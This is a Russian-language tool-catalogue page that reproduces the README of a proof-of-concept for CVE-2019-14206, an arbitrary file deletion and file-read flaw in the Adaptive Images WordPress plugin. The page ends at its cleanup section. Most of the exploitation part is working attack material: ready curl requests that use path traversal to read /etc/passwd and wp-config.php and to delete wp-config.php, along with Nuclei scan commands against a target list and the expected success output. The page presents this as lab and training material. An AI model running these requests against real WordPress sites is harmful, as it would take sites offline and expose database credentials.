Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2019-14206-poc — Эксплойт доказательства концепции для CVE-2019-14206, демонстрирующий произвольное удаление файлов в плагине Adaptive Images для WordPress. Включает Docker-лабораторию, шаблон Nuclei и сценарии ручного тестирования для обучения и проверки безопасности. | Kitploit
Инструменты/GitHubGitHub/developerfred/cve-2019-14206-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubdeveloperfred/cve-2019-14206-poc

cve-2019-14206-poc

Эксплойт доказательства концепции для CVE-2019-14206, демонстрирующий произвольное удаление файлов в плагине Adaptive Images для WordPress. Включает Docker-лабораторию, шаблон Nuclei и сценарии ручного тестирования для обучения и проверки безопасности.

Репозиторий
58 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-14206 — Adaptive Images for WordPress: произвольное удаление файлов

📋 Содержание

  1. О уязвимости
  2. Предварительные требования
  3. Установка
  4. Методы тестирования
    • Быстрый тест
    • Полный тест с Docker
    • Тест с Nuclei
    • Ручной тест
  5. Интерпретация результатов
  6. Очистка
  7. Решение проблем
  8. Меры по смягчению
  9. Правовое предупреждение

🎯 О уязвимости

CVE-ID: CVE-2019-14206
Серьёзность: Высокая (CVSS 6.5)
Затронутый плагин: Adaptive Images for WordPress
Затронутые версии: < 0.6.67

Что позволяет эта уязвимость?

Эта уязвимость позволяет удалённому неавторизованному злоумышленнику удалить произвольные файлы на сервере WordPress, используя плагин Adaptive Images.

Реальное воздействие:

  • ❌ Удаление wp-config.php, вызывающее полный сбой сайта
  • ❌ Раскрытие учётных данных базы данных через LFI
  • ⚠️ Цепочка атак, приводящая к RCE (удалённому выполнению кода)
  • 🔴 Полная компрометация сайта WordPress

Корневая причина:

// Плагин использует ввод пользователя БЕЗ санитизации
$settings = $_REQUEST['adaptive-images-settings'];

// Формирует путь к файлу с параметрами, контролируемыми злоумышленником
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;

// УДАЛЯЕТ произвольный файл
unlink($cache_file);

💻 Предварительные требования

Минимальные требования:

  • Операционная система: macOS, Linux или Windows
  • Nuclei: Версия 3.0 или выше (Установить)
  • Bash: Версия 4.0 или выше
  • curl: Для ручных тестов
  • PHP: Версия 7.0+ (опционально, для тестов со встроенным сервером)

Проверка предварительных требований:

# Проверить Nuclei
nuclei --version

# Проверить Bash
bash --version

# Проверить curl
curl --version

# Проверить PHP (опционально)
php --version 2>/dev/null || echo "PHP не доступен (опционально)"

🚀 Установка

Шаг 1: Клонировать или скачать файлы

# Если находитесь в директории nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates

# Или скачайте необходимые файлы
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates

Шаг 2: Проверить структуру файлов

# Проверить, существуют ли файлы
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/

Шаг 3: Сделать скрипты исполняемыми

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh

🧪 Методы тестирования

1. Быстрый тест ⏱️ 2 минуты

Запустите полную демонстрацию, которая имитирует всю эксплуатацию:

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh

Что происходит:

  • Создаётся полная тестовая среда
  • Имитируется уязвимость
  • Демонстрируется удаление файла
  • Проверяется шаблон Nuclei

Ожидаемый вывод:

[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready

2. Полный тест с Docker 🐳 10 минут

Шаг 1: Запустить среду Docker

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

# Если Docker запущен
docker-compose up -d

# Если Docker НЕ запущен, используйте симулятор
./docker-test-full.sh

Шаг 2: Доступ к WordPress

# Среда будет доступна по адресу
# http://localhost:8888

Шаг 3: Проверить уязвимый плагин

# Проверить, существует ли уязвимый скрипт
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php

Шаг 4: Выполнить тесты

# Тест LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Тест удаления файла
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Проверить, удалён ли wp-config.php
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php

3. Тест с Nuclei 🎯 5 минут

Шаг 1: Подготовить список целей

# Создать файл с целями
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF

Шаг 2: Выполнить сканирование

# Базовое сканирование
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt

# Детальное сканирование
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v

# Сканирование с отладкой (ОБЯЗАТЕЛЬНО для баунти)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug

# Сохранить результаты
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt

Шаг 3: Интерпретировать результаты

# Просмотреть результаты
cat results.txt

# Положительные результаты будут содержать:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion

4. Ручной тест 🔧 10 минут

Шаг 1: Запустить PHP-сервер

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888

Шаг 2: Проверить LFI (чтение файлов)

# Попытаться прочитать /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Попытаться прочитать wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"

Ожидаемый результат (LFI):

=== CVE-2019-14206 Vulnerability Test ===

[*] Settings received:
  source_file = /etc/passwd
  ...

[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd

Шаг 3: Проверить удаление файлов

# Проверить, существует ли wp-config.php ДО
ls -la wp-config.php

# Выполнить эксплойт
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Проверить, удалён ли wp-config.php ПОСЛЕ
ls -la wp-config.php

Ожидаемый результат (удаление файла):

[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php

📊 Интерпретация результатов

Положительный результат (уязвим):

[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php

Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible

Отрицательный результат (не уязвим):

[N/A] No results found

Возможные причины ложноотрицательного результата:

  • ✅ Плагин не установлен
  • ✅ Плагин обновлён (версия >= 0.6.67)
  • ✅ WAF блокирует запросы
  • ✅ Сервер не отвечает по ожидаемым путям

🧹 Очистка

Очистить тестовую среду:

Скачать инструмент